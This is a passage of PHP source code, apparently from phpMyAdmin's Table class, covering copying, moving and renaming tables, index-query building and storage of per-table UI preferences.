                );
            }

            if (! $GLOBALS['dblist']->databases->exists($targetDb)) {
                $GLOBALS['message'] = Message::rawError(
                    sprintf(
                        __('Target database `%s` was not found!'),
                        htmlspecialchars((string) $targetDb)
                    )
                );
            }

            return false;
        }

        /**
         * The full name of source table, quoted.
         *
         * @var string $source
         */
        $source = Util::backquote($sourceDb)
            . '.' . Util::backquote($sourceTable);

        // If the target database is not specified, the operation is taking
        // place in the same database.
        if (! isset($targetDb) || strlen($targetDb) === 0) {
            $targetDb = $sourceDb;
        }

        // Selecting the database could avoid some problems with replicated
        // databases, when moving table from replicated one to not replicated one.
        $dbi->selectDb($targetDb);

        /**
         * The full name of target table, quoted.
         *
         * @var string $target
         */
        $target = Util::backquote($targetDb)
            . '.' . Util::backquote($targetTable);

        // No table is created when this is a data-only operation.
        if ($what !== 'dataonly') {
            /**
             * Instance used for exporting the current structure of the table.
             *
             * @var ExportSql $exportSqlPlugin
             */
            $exportSqlPlugin = Plugins::getPlugin('export', 'sql', [
                'export_type' => 'table',
                'single_table' => false,
            ]);

            $noConstraintsComments = true;
            $GLOBALS['sql_constraints_query'] = '';
            // set the value of global sql_auto_increment variable
            if (isset($_POST['sql_auto_increment'])) {
                $GLOBALS['sql_auto_increment'] = $_POST['sql_auto_increment'];
            }

            /**
             * The old structure of the table..
             */
            $sqlStructure = $exportSqlPlugin->getTableDef($sourceDb, $sourceTable, "\n", $errorUrl, false, false);

            unset($noConstraintsComments);

            // -----------------------------------------------------------------
            // Phase 0: Preparing structures used.

            /**
             * The destination where the table is moved or copied to.
             */
            $destination = new Expression($targetDb, $targetTable, '');

            // Find server's SQL mode so the builder can generate correct
            // queries.
            // One of the options that alters the behaviour is `ANSI_QUOTES`.
            Context::setMode((string) $dbi->fetchValue('SELECT @@sql_mode'));

            // -----------------------------------------------------------------
            // Phase 1: Dropping existent element of the same name (if exists
            // and required).

            if ($addDropIfExists) {
                /**
                 * Drop statement used for building the query.
                 */
                $statement = new DropStatement();

                $tbl = new Table($targetDb, $targetTable);

                $statement->options = new OptionsArray(
                    [
                        $tbl->isView() ? 'VIEW' : 'TABLE',
                        'IF EXISTS',
                    ]
                );

                $statement->fields = [$destination];

                // Building the query.
                $dropQuery = $statement->build() . ';';

                // Executing it.
                $dbi->query($dropQuery);
                $GLOBALS['sql_query'] .= "\n" . $dropQuery;

                // If an existing table gets deleted, maintain any entries for
                // the PMA_* tables.
                $maintainRelations = true;
            }

            // -----------------------------------------------------------------
            // Phase 2: Generating the new query of this structure.

            /**
             * The parser responsible for parsing the old queries.
             */
            $parser = new Parser($sqlStructure);

            if (! empty($parser->statements[0])) {

                /**
                 * The CREATE statement of this structure.
                 *
                 * @var CreateStatement $statement
                 */
                $statement = $parser->statements[0];

                // Changing the destination.
                $statement->name = $destination;

                // Building back the query.
                $sqlStructure = $statement->build() . ';';

                // This is to avoid some issues when renaming databases with views
                // See: https://github.com/phpmyadmin/phpmyadmin/issues/16422
                if ($move) {
                    $dbi->selectDb($targetDb);
                }

                // Executing it
                $dbi->query($sqlStructure);
                $GLOBALS['sql_query'] .= "\n" . $sqlStructure;
            }

            // -----------------------------------------------------------------
            // Phase 3: Adding constraints.
            // All constraint names are removed because they must be unique.

            if (($move || isset($GLOBALS['add_constraints'])) && ! empty($GLOBALS['sql_constraints_query'])) {
                $parser = new Parser($GLOBALS['sql_constraints_query']);

                /**
                 * The ALTER statement that generates the constraints.
                 *
                 * @var AlterStatement $statement
                 */
                $statement = $parser->statements[0];

                // Changing the altered table to the destination.
                $statement->table = $destination;

                // Removing the name of the constraints.
                foreach ($statement->altered as $altered) {
                    // All constraint names are removed because they must be unique.
                    if (! $altered->options->has('CONSTRAINT')) {
                        continue;
                    }

                    $altered->field = null;
                }

                // Building back the query.
                $GLOBALS['sql_constraints_query'] = $statement->build() . ';';

                // Executing it.
                if ($mode === 'one_table') {
                    $dbi->query($GLOBALS['sql_constraints_query']);
                }

                $GLOBALS['sql_query'] .= "\n" . $GLOBALS['sql_constraints_query'];
                if ($mode === 'one_table') {
                    unset($GLOBALS['sql_constraints_query']);
                }
            }

            // -----------------------------------------------------------------
            // Phase 4: Adding indexes.
            // View phase 3.

            if (! empty($GLOBALS['sql_indexes'])) {
                $parser = new Parser($GLOBALS['sql_indexes']);

                $GLOBALS['sql_indexes'] = '';
                /**
                 * The ALTER statement that generates the indexes.
                 *
                 * @var AlterStatement $statement
                 */
                foreach ($parser->statements as $statement) {
                    // Changing the altered table to the destination.
                    $statement->table = $destination;

                    // Removing the name of the constraints.
                    foreach ($statement->altered as $altered) {
                        // All constraint names are removed because they must be unique.
                        if (! $altered->options->has('CONSTRAINT')) {
                            continue;
                        }

                        $altered->field = null;
                    }

                    // Building back the query.
                    $sqlIndex = $statement->build() . ';';

                    // Executing it.
                    if ($mode === 'one_table' || $mode === 'db_copy') {
                        $dbi->query($sqlIndex);
                    }

                    $GLOBALS['sql_indexes'] .= $sqlIndex;
                }

                $GLOBALS['sql_query'] .= "\n" . $GLOBALS['sql_indexes'];
                if ($mode === 'one_table' || $mode === 'db_copy') {
                    unset($GLOBALS['sql_indexes']);
                }
            }

            // -----------------------------------------------------------------
            // Phase 5: Adding AUTO_INCREMENT.

            if (! empty($GLOBALS['sql_auto_increments']) && ($mode === 'one_table' || $mode === 'db_copy')) {
                $parser = new Parser($GLOBALS['sql_auto_increments']);

                /**
                 * The ALTER statement that alters the AUTO_INCREMENT value.
                 */
                $statement = $parser->statements[0];
                if ($statement instanceof AlterStatement) {
                    // Changing the altered table to the destination.
                    $statement->table = $destination;

                    // Building back the query.
                    $GLOBALS['sql_auto_increments'] = $statement->build() . ';';

                    // Executing it.
                    $dbi->query($GLOBALS['sql_auto_increments']);
                    $GLOBALS['sql_query'] .= "\n" . $GLOBALS['sql_auto_increments'];
                }

                unset($GLOBALS['sql_auto_increments']);
            }
        } else {
            $GLOBALS['sql_query'] = '';
        }

        $table = new Table($targetTable, $targetDb);
        // Copy the data unless this is a VIEW
        if (($what === 'data' || $what === 'dataonly') && ! $table->isView()) {
            $sqlSetMode = "SET SQL_MODE='NO_AUTO_VALUE_ON_ZERO'";
            $dbi->query($sqlSetMode);
            $GLOBALS['sql_query'] .= "\n\n" . $sqlSetMode . ';';

            $oldTable = new Table($sourceTable, $sourceDb);
            $nonGeneratedCols = $oldTable->getNonGeneratedColumns(true);
            if (count($nonGeneratedCols) > 0) {
                $sqlInsertData = 'INSERT INTO ' . $target . '('
                    . implode(', ', $nonGeneratedCols)
                    . ') SELECT ' . implode(', ', $nonGeneratedCols)
                    . ' FROM ' . $source;

                $dbi->query($sqlInsertData);
                $GLOBALS['sql_query'] .= "\n\n" . $sqlInsertData . ';';
            }
        }

        $relationParameters = $relation->getRelationParameters();

        // Drops old table if the user has requested to move it
        if ($move) {
            // This could avoid some problems with replicated databases, when
            // moving table from replicated one to not replicated one
            $dbi->selectDb($sourceDb);

            $sourceTableObj = new Table($sourceTable, $sourceDb);
            if ($sourceTableObj->isView()) {
                $sqlDropQuery = 'DROP VIEW';
            } else {
                $sqlDropQuery = 'DROP TABLE';
            }

            $sqlDropQuery .= ' ' . $source;
            $dbi->query($sqlDropQuery);

            // Rename table in configuration storage
            $relation->renameTable($sourceDb, $targetDb, $sourceTable, $targetTable);

            $GLOBALS['sql_query'] .= "\n\n" . $sqlDropQuery . ';';

            return true;
        }

        // we are copying
        // Create new entries as duplicates from old PMA DBs
        if ($what === 'dataonly' || isset($maintainRelations)) {
            return true;
        }

        if ($relationParameters->columnCommentsFeature !== null) {
            // Get all comments and MIME-Types for current table
            $commentsCopyRs = $dbi->queryAsControlUser(
                'SELECT column_name, comment'
                . ($relationParameters->browserTransformationFeature !== null
                ? ', mimetype, transformation, transformation_options'
                : '')
                . ' FROM '
                . Util::backquote($relationParameters->columnCommentsFeature->database)
                . '.'
                . Util::backquote($relationParameters->columnCommentsFeature->columnInfo)
                . ' WHERE '
                . ' db_name = \''
                . $dbi->escapeString($sourceDb) . '\''
                . ' AND '
                . ' table_name = \''
                . $dbi->escapeString((string) $sourceTable) . '\''
            );

            // Write every comment as new copied entry. [MIME]
            foreach ($commentsCopyRs as $commentsCopyRow) {
                $newCommentQuery = 'REPLACE INTO '
                    . Util::backquote($relationParameters->columnCommentsFeature->database)
                    . '.' . Util::backquote($relationParameters->columnCommentsFeature->columnInfo)
                    . ' (db_name, table_name, column_name, comment'
                    . ($relationParameters->browserTransformationFeature !== null
                        ? ', mimetype, transformation, transformation_options'
                        : '')
                    . ') VALUES(\'' . $dbi->escapeString($targetDb)
                    . '\',\'' . $dbi->escapeString($targetTable) . '\',\''
                    . $dbi->escapeString($commentsCopyRow['column_name'])
                    . '\',\''
                    . $dbi->escapeString($commentsCopyRow['comment'])
                    . '\''
                    . ($relationParameters->browserTransformationFeature !== null
                        ? ',\'' . $dbi->escapeString($commentsCopyRow['mimetype'])
                        . '\',\'' . $dbi->escapeString($commentsCopyRow['transformation'])
                        . '\',\'' . $dbi->escapeString($commentsCopyRow['transformation_options'])
                        . '\''
                        : '')
                    . ')';
                $dbi->queryAsControlUser($newCommentQuery);
            }

            unset($commentsCopyRs);
        }

        // duplicating the bookmarks must not be done here, but
        // just once per db

        $getFields = ['display_field'];
        $whereFields = [
            'db_name' => $sourceDb,
            'table_name' => $sourceTable,
        ];
        $newFields = [
            'db_name' => $targetDb,
            'table_name' => $targetTable,
        ];
        self::duplicateInfo('displaywork', 'table_info', $getFields, $whereFields, $newFields);

        /**
         * @todo revise this code when we support cross-db relations
         */
        $getFields = [
            'master_field',
            'foreign_table',
            'foreign_field',
        ];
        $whereFields = [
            'master_db' => $sourceDb,
            'master_table' => $sourceTable,
        ];
        $newFields = [
            'master_db' => $targetDb,
            'foreign_db' => $targetDb,
            'master_table' => $targetTable,
        ];
        self::duplicateInfo('relwork', 'relation', $getFields, $whereFields, $newFields);

        $getFields = [
            'foreign_field',
            'master_table',
            'master_field',
        ];
        $whereFields = [
            'foreign_db' => $sourceDb,
            'foreign_table' => $sourceTable,
        ];
        $newFields = [
            'master_db' => $targetDb,
            'foreign_db' => $targetDb,
            'foreign_table' => $targetTable,
        ];
        self::duplicateInfo('relwork', 'relation', $getFields, $whereFields, $newFields);

        return true;
    }

    /**
     * checks if given name is a valid table name,
     * currently if not empty, trailing spaces, '.', '/' and '\'
     *
     * @see  https://dev.mysql.com/doc/refman/5.0/en/legal-names.html
     *
     * @param string $tableName    name to check
     * @param bool   $isBackquoted whether this name is used inside backquotes or not
     *
     * @todo add check for valid chars in filename on current system/os
     */
    public static function isValidName($tableName, $isBackquoted = false): bool
    {
        if ($tableName !== rtrim((string) $tableName)) {
            // trailing spaces not allowed even in backquotes
            return false;
        }

        if (strlen($tableName) === 0) {
            // zero length
            return false;
        }

        if (! $isBackquoted && $tableName !== trim($tableName)) {
            // spaces at the start or in between only allowed inside backquotes
            return false;
        }

        if (! $isBackquoted && preg_match('/^[a-zA-Z0-9_$]+$/', $tableName)) {
            // only allow the above regex in unquoted identifiers
            // see : https://dev.mysql.com/doc/refman/5.7/en/identifiers.html
            return true;
        }

        // If backquoted, all characters should be allowed (except w/ trailing spaces).
        return $isBackquoted;
    }

    /**
     * renames table
     *
     * @param string $newName new table name
     * @param string $newDb   new database name
     */
    public function rename($newName, $newDb = null): bool
    {
        if ($this->dbi->getLowerCaseNames() === '1') {
            $newName = strtolower($newName);
        }

        if ($newDb !== null && $newDb !== $this->getDbName()) {
            // Ensure the target is valid
            if (! $GLOBALS['dblist']->databases->exists($newDb)) {
                $this->errors[] = __('Invalid database:') . ' ' . $newDb;

                return false;
            }
        } else {
            $newDb = $this->getDbName();
        }

        $newTable = new Table($newName, $newDb);

        if ($this->getFullName() === $newTable->getFullName()) {
            return true;
        }

        // Allow whitespaces (not trailing) in $new_name,
        // since we are using $backquoted in getting the fullName of table
        // below to be used in the query
        if (! self::isValidName($newName, true)) {
            $this->errors[] = __('Invalid table name:') . ' '
                . $newTable->getFullName();

            return false;
        }

        // If the table is moved to a different database drop its triggers first
        $triggers = $this->dbi->getTriggers(
            $this->getDbName(),
            $this->getName(),
            ''
        );
        $handleTriggers = $this->getDbName() != $newDb && $triggers;
        if ($handleTriggers) {
            foreach ($triggers as $trigger) {
                $sql = 'DROP TRIGGER IF EXISTS '
                    . Util::backquote($this->getDbName())
                    . '.' . Util::backquote($trigger['name']) . ';';
                $this->dbi->query($sql);
            }
        }

        /*
         * tested also for a view, in MySQL 5.0.92, 5.1.55 and 5.5.13
         */
        $GLOBALS['sql_query'] = '
            RENAME TABLE ' . $this->getFullName(true) . '
                  TO ' . $newTable->getFullName(true) . ';';
        // I don't think a specific error message for views is necessary
        if (! $this->dbi->query($GLOBALS['sql_query'])) {
            // TODO: this is dead code, should it be removed?
            // Restore triggers in the old database
            if ($handleTriggers) {
                $this->dbi->selectDb($this->getDbName());
                foreach ($triggers as $trigger) {
                    $this->dbi->query($trigger['create']);
                }
            }

            $this->errors[] = sprintf(
                __('Failed to rename table %1$s to %2$s!'),
                $this->getFullName(),
                $newTable->getFullName()
            );

            return false;
        }

        $oldName = $this->getName();
        $oldDb = $this->getDbName();
        $this->name = $newName;
        $this->dbName = $newDb;

        // Rename table in configuration storage
        $this->relation->renameTable($oldDb, $newDb, $oldName, $newName);

        $this->messages[] = sprintf(
            __('Table %1$s has been renamed to %2$s.'),
            htmlspecialchars($oldName),
            htmlspecialchars($newName)
        );

        return true;
    }

    /**
     * Get all unique columns
     *
     * returns an array with all columns with unique content, in fact these are
     * all columns being single indexed in PRIMARY or UNIQUE
     *
     * e.g.
     *  - PRIMARY(id) // id
     *  - UNIQUE(name) // name
     *  - PRIMARY(fk_id1, fk_id2) // NONE
     *  - UNIQUE(x,y) // NONE
     *
     * @param bool $backquoted whether to quote name with backticks ``
     * @param bool $fullName   whether to include full name of the table as a prefix
     *
     * @return array
     */
    public function getUniqueColumns($backquoted = true, $fullName = true)
    {
        $sql = QueryGenerator::getTableIndexesSql(
            $this->getDbName(),
            $this->getName(),
            'Non_unique = 0'
        );
        $uniques = $this->dbi->fetchResult(
            $sql,
            [
                'Key_name',
                null,
            ],
            'Column_name'
        );

        $return = [];
        foreach ($uniques as $index) {
            if (count($index) > 1) {
                continue;
            }

            if ($fullName) {
                $possibleColumn = $this->getFullName($backquoted) . '.';
            } else {
                $possibleColumn = '';
            }

            if ($backquoted) {
                $possibleColumn .= Util::backquote($index[0]);
            } else {
                $possibleColumn .= $index[0];
            }

            // a column might have a primary and an unique index on it
            if (in_array($possibleColumn, $return)) {
                continue;
            }

            $return[] = $possibleColumn;
        }

        return $return;
    }

    /**
     * Formats lists of columns
     *
     * returns an array with all columns that make use of an index
     *
     * e.g. index(col1, col2) would return col1, col2
     *
     * @param array $indexed    column data
     * @param bool  $backquoted whether to quote name with backticks ``
     * @param bool  $fullName   whether to include full name of the table as a prefix
     *
     * @return array
     */
    private function formatColumns(array $indexed, $backquoted, $fullName)
    {
        $return = [];
        foreach ($indexed as $column) {
            $return[] = ($fullName ? $this->getFullName($backquoted) . '.' : '')
                . ($backquoted ? Util::backquote($column) : $column);
        }

        return $return;
    }

    /**
     * Get all indexed columns
     *
     * returns an array with all columns that make use of an index
     *
     * e.g. index(col1, col2) would return col1, col2
     *
     * @param bool $backquoted whether to quote name with backticks ``
     * @param bool $fullName   whether to include full name of the table as a prefix
     *
     * @return array
     */
    public function getIndexedColumns($backquoted = true, $fullName = true)
    {
        $sql = QueryGenerator::getTableIndexesSql(
            $this->getDbName(),
            $this->getName(),
            ''
        );
        $indexed = $this->dbi->fetchResult($sql, 'Column_name', 'Column_name');

        return $this->formatColumns($indexed, $backquoted, $fullName);
    }

    /**
     * Get all columns
     *
     * returns an array with all columns
     *
     * @param bool $backquoted whether to quote name with backticks ``
     * @param bool $fullName   whether to include full name of the table as a prefix
     *
     * @return array
     */
    public function getColumns($backquoted = true, $fullName = true)
    {
        $sql = 'SHOW COLUMNS FROM ' . $this->getFullName(true);
        $indexed = $this->dbi->fetchResult($sql, 'Field', 'Field');

        return $this->formatColumns($indexed, $backquoted, $fullName);
    }

    /**
     * Get meta info for fields in table
     *
     * @return FieldMetadata[]
     */
    public function getColumnsMeta(): array
    {
        $moveColumnsSqlQuery = sprintf(
            'SELECT * FROM %s.%s LIMIT 1',
            Util::backquote($this->dbName),
            Util::backquote($this->name)
        );
        $moveColumnsSqlResult = $this->dbi->tryQuery($moveColumnsSqlQuery);
        if ($moveColumnsSqlResult !== false) {
            return $this->dbi->getFieldsMeta($moveColumnsSqlResult);
        }

        // unsure how to reproduce but it was seen on the reporting server
        return [];
    }

    /**
     * Get non-generated columns in table
     *
     * @param bool $backquoted whether to quote name with backticks ``
     *
     * @return array
     */
    public function getNonGeneratedColumns($backquoted = true)
    {
        $columnsMetaQuery = 'SHOW COLUMNS FROM ' . $this->getFullName(true);
        $ret = [];

        $columnsMetaQueryResult = $this->dbi->fetchResult($columnsMetaQuery);

        foreach ($columnsMetaQueryResult as $column) {
            $value = $column['Field'];
            if ($backquoted === true) {
                $value = Util::backquote($value);
            }

            // If contains GENERATED or VIRTUAL and does not contain DEFAULT_GENERATED
            if (
                (
                str_contains($column['Extra'], 'GENERATED')
                || str_contains($column['Extra'], 'VIRTUAL')
                ) && ! str_contains($column['Extra'], 'DEFAULT_GENERATED')
            ) {
                continue;
            }

            $ret[] = $value;
        }

        return $ret;
    }

    /**
     * Return UI preferences for this table from phpMyAdmin database.
     *
     * @return array
     */
    protected function getUiPrefsFromDb(?UiPreferencesFeature $uiPreferencesFeature)
    {
        if ($uiPreferencesFeature === null) {
            return [];
        }

        // Read from phpMyAdmin database
        $sqlQuery = sprintf(
            'SELECT `prefs` FROM %s.%s WHERE `username` = \'%s\' AND `db_name` = \'%s\' AND `table_name` = \'%s\'',
            Util::backquote($uiPreferencesFeature->database),
            Util::backquote($uiPreferencesFeature->tableUiPrefs),
            $this->dbi->escapeString($GLOBALS['cfg']['Server']['user']),
            $this->dbi->escapeString($this->dbName),
            $this->dbi->escapeString($this->name)
        );

        $value = $this->dbi->queryAsControlUser($sqlQuery)->fetchValue();
        if (is_string($value)) {
            return json_decode($value, true);
        }

        return [];
    }

    /**
     * Save this table's UI preferences into phpMyAdmin database.
     *
     * @return true|Message
     */
    protected function saveUiPrefsToDb(UiPreferencesFeature $uiPreferencesFeature)
    {
        $table = Util::backquote($uiPreferencesFeature->database) . '.'
            . Util::backquote($uiPreferencesFeature->tableUiPrefs);

        $secureDbName = $this->dbi->escapeString($this->dbName);

        $username = $GLOBALS['cfg']['Server']['user'];
        $sqlQuery = ' REPLACE INTO ' . $table
            . " (username, db_name, table_name, prefs) VALUES ('"
            . $this->dbi->escapeString($username) . "', '" . $secureDbName
            . "', '" . $this->dbi->escapeString($this->name) . "', '"
            . $this->dbi->escapeString((string) json_encode($this->uiprefs)) . "')";

        $success = $this->dbi->tryQuery($sqlQuery, DatabaseInterface::CONNECT_CONTROL);

        if (! $success) {
            $message = Message::error(
                __('Could not save table UI preferences!')
            );
            $message->addMessage(
                Message::rawError($this->dbi->getError(DatabaseInterface::CONNECT_CONTROL)),
                '<br><br>'
            );

            return $message;
        }

        // Remove some old rows in table_uiprefs if it exceeds the configured
        // maximum rows
        $sqlQuery = 'SELECT COUNT(*) FROM ' . $table;
        $rowsCount = (int) $this->dbi->fetchValue($sqlQuery);
        $maxRows = (int) $GLOBALS['cfg']['Server']['MaxTableUiprefs'];
        if ($rowsCount > $maxRows) {
            $numRowsToDelete = $rowsCount - $maxRows;
            $sqlQuery = ' DELETE FROM ' . $table .
                ' ORDER BY last_update ASC' .
                ' LIMIT ' . $numRowsToDelete;
            $success = $this->dbi->tryQuery($sqlQuery, DatabaseInterface::CONNECT_CONTROL);

            if (! $success) {
                $message = Message::error(
                    sprintf(
                        __(
                            'Failed to cleanup table UI preferences (see $cfg[\'Servers\'][$i][\'MaxTableUiprefs\'] %s)'
                        ),
                        MySQLDocumentation::showDocumentation('config', 'cfg_Servers_MaxTableUiprefs')
                    )
                );
                $message->addMessage(
                    Message::rawError($this->dbi->getError(DatabaseInterface::CONNECT_CONTROL)),
                    '<br><br>'
                );

                return $message;
            }
        }

        return true;
    }

    /**
     * Loads the UI preferences for this table.
     * If pmadb and table_uiprefs is set, it will load the UI preferences from
     * phpMyAdmin database.
     */
    protected function loadUiPrefs(): void
    {
        $uiPreferencesFeature = $this->relation->getRelationParameters()->uiPreferencesFeature;
        $serverId = $GLOBALS['server'];

        // set session variable if it's still undefined
        if (! isset($_SESSION['tmpval']['table_uiprefs'][$serverId][$this->dbName][$this->name])) {
            // check whether we can get from pmadb
            $uiPrefs = $this->getUiPrefsFromDb($uiPreferencesFeature);
            $_SESSION['tmpval']['table_uiprefs'][$serverId][$this->dbName][$this->name] = $uiPrefs;
        }

        $this->uiprefs =& $_SESSION['tmpval']['table_uiprefs'][$serverId][$this->dbName][$this->name];
    }

    /**
     * Get a property from UI preferences.
     * Return false if the property is not found.
     * Available property:
     * - PROP_SORTED_COLUMN
     * - PROP_COLUMN_ORDER
     * - PROP_COLUMN_VISIB
     *
     * @param string $property property
     *
     * @return mixed
     */
    public function getUiProp($property)
    {
        if (empty($this->uiprefs)) {
            $this->loadUiPrefs();
        }

        // do checking based on property
        if ($property == self::PROP_SORTED_COLUMN) {
            if (! isset($this->uiprefs[$property])) {
                return false;
            }

            if (! isset($_POST['discard_remembered_sort'])) {
                // check if the column name exists in this table
                $tmp = explode(' ', $this->uiprefs[$property]);
                $colname = $tmp[0];
                //remove backquoting from colname
                $colname = str_replace('`', '', $colname);
                //get the available column name without backquoting
                $availColumns = $this->getColumns(false);

                foreach ($availColumns as $eachCol) {
                    // check if $each_col ends with $colname
                    if (substr_compare($eachCol, $colname, mb_strlen($eachCol) - mb_strlen($colname)) === 0) {
                        return $this->uiprefs[$property];
                    }
                }
            }

            // remove the property, since it no longer exists in database
            $this->removeUiProp($property);

            return false;
        }

        if ($property == self::PROP_COLUMN_ORDER || $property == self::PROP_COLUMN_VISIB) {
            if ($this->isView() || ! isset($this->uiprefs[$property])) {
                return false;
            }

            // check if the table has not been modified
            if ($this->getStatusInfo('Create_time') == $this->uiprefs['CREATE_TIME']) {
                return array_map('intval', $this->uiprefs[$property]);
            }

            // remove the property, since the table has been modified
            $this->removeUiProp($property);

            return false;
        }

        // default behaviour for other property:
        return $this->uiprefs[$property] ?? false;
    }

    /**
     * Set a property from UI preferences.
     * If pmadb and table_uiprefs is set, it will save the UI preferences to
     * phpMyAdmin database.
     * Available property:
     * - PROP_SORTED_COLUMN
     * - PROP_COLUMN_ORDER
     * - PROP_COLUMN_VISIB
     *
     * @param string $property        Property
     * @param mixed  $value           Value for the property
     * @param string $tableCreateTime Needed for PROP_COLUMN_ORDER and PROP_COLUMN_VISIB
     *
     * @return bool|Message
     */
    public function setUiProp($property, $value, $tableCreateTime = null)
    {
        if (empty($this->uiprefs)) {
            $this->loadUiPrefs();
        }

        // we want to save the create time if the property is PROP_COLUMN_ORDER
        if (! $this->isView() && ($property == self::PROP_COLUMN_ORDER || $property == self::PROP_COLUMN_VISIB)) {
            $currCreateTime = $this->getStatusInfo('CREATE_TIME');
            if (! isset($tableCreateTime) || $tableCreateTime != $currCreateTime) {
                // there is no $table_create_time, or
                // supplied $table_create_time is older than current create time,
                // so don't save
                return Message::error(
                    sprintf(
                        __(
                            'Cannot save UI property "%s". The changes made will ' .
                            'not be persistent after you refresh this page. ' .
                            'Please check if the table structure has been changed.'
                        ),
                        $property
                    )
                );
            }

            $this->uiprefs['CREATE_TIME'] = $currCreateTime;
        }

        // save the value
        $this->uiprefs[$property] = $value;

        // check if pmadb is set
        $uiPreferencesFeature = $this->relation->getRelationParameters()->uiPreferencesFeature;
        if ($uiPreferencesFeature !== null) {
            return $this->saveUiPrefsToDb($uiPreferencesFeature);
        }

        return true;
    }

    /**
     * Remove a property from UI preferences.
     *
     * @param string $property the property
     *
     * @return true|Message
     */
    public function removeUiProp($property)
    {
        if (empty($this->uiprefs)) {
            $this->loadUiPrefs();
        }

        if (isset($this->uiprefs[$property])) {
            unset($this->uiprefs[$property]);

            // check if pmadb is set
            $uiPreferencesFeature = $this->relation->getRelationParameters()->uiPreferencesFeature;
            if ($uiPreferencesFeature !== null) {
                return $this->saveUiPrefsToDb($uiPreferencesFeature);
            }
        }

        return true;
    }

    /**
     * Get all column names which are MySQL reserved words
     *
     * @return array
     */
    public function getReservedColumnNames()
    {
        $columns = $this->getColumns(false);
        $return = [];
        foreach ($columns as $column) {
            $temp = explode('.', $column);
            $columnName = $temp[2];
            if (! Context::isKeyword($columnName, true)) {
                continue;
            }

            $return[] = $columnName;
        }

        return $return;
    }

    /**
     * Function to get the name and type of the columns of a table
     *
     * @return array
     */
    public function getNameAndTypeOfTheColumns()
    {
        $columns = [];
        foreach (
            $this->dbi->getColumnsFull($this->dbName, $this->name) as $row
        ) {
            if (preg_match('@^(set|enum)\((.+)\)$@i', $row['Type'], $tmp)) {
                $tmp[2] = mb_substr(
                    (string) preg_replace('@([^,])\'\'@', '\\1\\\'', ',' . $tmp[2]),
                    1
                );
                $columns[$row['Field']] = $tmp[1] . '('
                    . str_replace(',', ', ', $tmp[2]) . ')';
            } else {
                $columns[$row['Field']] = $row['Type'];
            }
        }

        return $columns;
    }

    /**
     * Get index with index name
     *
     * @param string $index Index name
     *
     * @return Index
     */
    public function getIndex($index)
    {
        return Index::singleton($this->dbName, $this->name, $index);
    }

    /**
     * Function to get the sql query for index creation or edit
     *
     * @param Index $index current index
     * @param bool  $error whether error occurred or not
     *
     * @return string
     */
    public function getSqlQueryForIndexCreateOrEdit($index, &$error)
    {
        // $sql_query is the one displayed in the query box
        $sqlQuery = sprintf(
            'ALTER TABLE %s.%s',
            Util::backquote($this->dbName),
            Util::backquote($this->name)
        );

        // Drops the old index
        if (! empty($_POST['old_index'])) {
            $oldIndex = is_array($_POST['old_index']) ? $_POST['old_index']['Key_name'] : $_POST['old_index'];
            if ($oldIndex === 'PRIMARY') {
                $sqlQuery .= ' DROP PRIMARY KEY,';
            } else {
                $sqlQuery .= sprintf(
                    ' DROP INDEX %s,',
                    Util::backquote($oldIndex)
                );
            }
        }

        // Builds the new one
        switch ($index->getChoice()) {
            case 'PRIMARY':
                if ($index->getName() == '') {
                    $index->setName('PRIMARY');
                } elseif ($index->getName() !== 'PRIMARY') {
                    $error = Message::error(
                        __('The name of the primary key must be "PRIMARY"!')
                    );
                }

                $sqlQuery .= ' ADD PRIMARY KEY';
                break;
            case 'FULLTEXT':
            case 'UNIQUE':
            case 'INDEX':
            case 'SPATIAL':
                if ($index->getName() === 'PRIMARY') {
                    $error = Message::error(
                        __('Can\'t rename index to PRIMARY!')
                    );
                }

                $sqlQuery .= sprintf(
                    ' ADD %s ',
                    $index->getChoice()
                );
                if ($index->getName()) {
                    $sqlQuery .= Util::backquote($index->getName());
                }

                break;
        }

        $indexFields = [];
        foreach ($index->getColumns() as $key => $column) {
            $indexFields[$key] = Util::backquote($column->getName());
            if (! $column->getSubPart()) {
                continue;
            }

            $indexFields[$key] .= '(' . $column->getSubPart() . ')';
        }

        if (empty($indexFields)) {
            $error = Message::error(__('No index parts defined!'));
        } else {
            $sqlQuery .= ' (' . implode(', ', $indexFields) . ')';
        }

        $keyBlockSizes = $index->getKeyBlockSize();
        if (! empty($keyBlockSizes)) {
            $sqlQuery .= sprintf(
                ' KEY_BLOCK_SIZE = %s',
                $this->dbi->escapeString((string) $keyBlockSizes)
            );
        }

        // specifying index type is allowed only for primary, unique and index only
        // TokuDB is using Fractal Tree, Using Type is not useless
        // Ref: https://mariadb.com/kb/en/mariadb/storage-engine-index-types/
        $type = $index->getType();
        if (
            $index->getChoice() !== 'SPATIAL'
            && $index->getChoice() !== 'FULLTEXT'
            && in_array($type, Index::getIndexTypes())
            && ! $this->isEngine(['TOKUDB'])
        ) {
            $sqlQuery .= ' USING ' . $type;
        }

        $parser = $index->getParser();
        if ($index->getChoice() === 'FULLTEXT' && ! empty($parser)) {
            $sqlQuery .= ' WITH PARSER ' . $this->dbi->escapeString($parser);
        }

        $comment = $index->getComment();
        if (! empty($comment)) {
            $sqlQuery .= sprintf(
                " COMMENT '%s'",
                $this->dbi->escapeString($comment)
            );
        }

        $sqlQuery .= ';';

        return $sqlQuery;
    }

    /**
     * Function to handle update for display field
     *
     * @param string $displayField display field
     */
    public function updateDisplayField($displayField, DisplayFeature $displayFeature): void
    {
        if ($displayField == '') {
            $updQuery = 'DELETE FROM '
                . Util::backquote($displayFeature->database)
                . '.' . Util::backquote($displayFeature->tableInfo)
                . ' WHERE db_name  = \''
                . $this->dbi->escapeString($this->dbName) . '\''
                . ' AND table_name = \''
                . $this->dbi->escapeString($this->name) . '\'';
        } else {
            $updQuery = 'REPLACE INTO '
                . Util::backquote($displayFeature->database)
                . '.' . Util::backquote($displayFeature->tableInfo)
                . '(db_name, table_name, display_field) VALUES('
                . '\'' . $this->dbi->escapeString($this->dbName) . '\','
                . '\'' . $this->dbi->escapeString($this->name) . '\','
                . '\'' . $this->dbi->escapeString($displayField) . '\')';
        }

        $this->dbi->queryAsControlUser($updQuery);
    }

    /**
     * Function to get update query for updating internal relations
     *
     * @param array      $multiEditColumnsName multi edit column names
     * @param array      $destinationDb        destination tables
     * @param array      $destinationTable     destination tables
     * @param array      $destinationColumn    destination columns
     * @param array|null $existrel             db, table, column
     */
    public function updateInternalRelations(
        array $multiEditColumnsName,
        array $destinationDb,
        array $destinationTable,
        array $destinationColumn,
        RelationFeature $relationFeature,
        $existrel
    ): bool {
        $updated = false;
        foreach ($destinationDb as $masterFieldMd5 => $foreignDb) {
            $updQuery = null;
            // Map the fieldname's md5 back to its real name
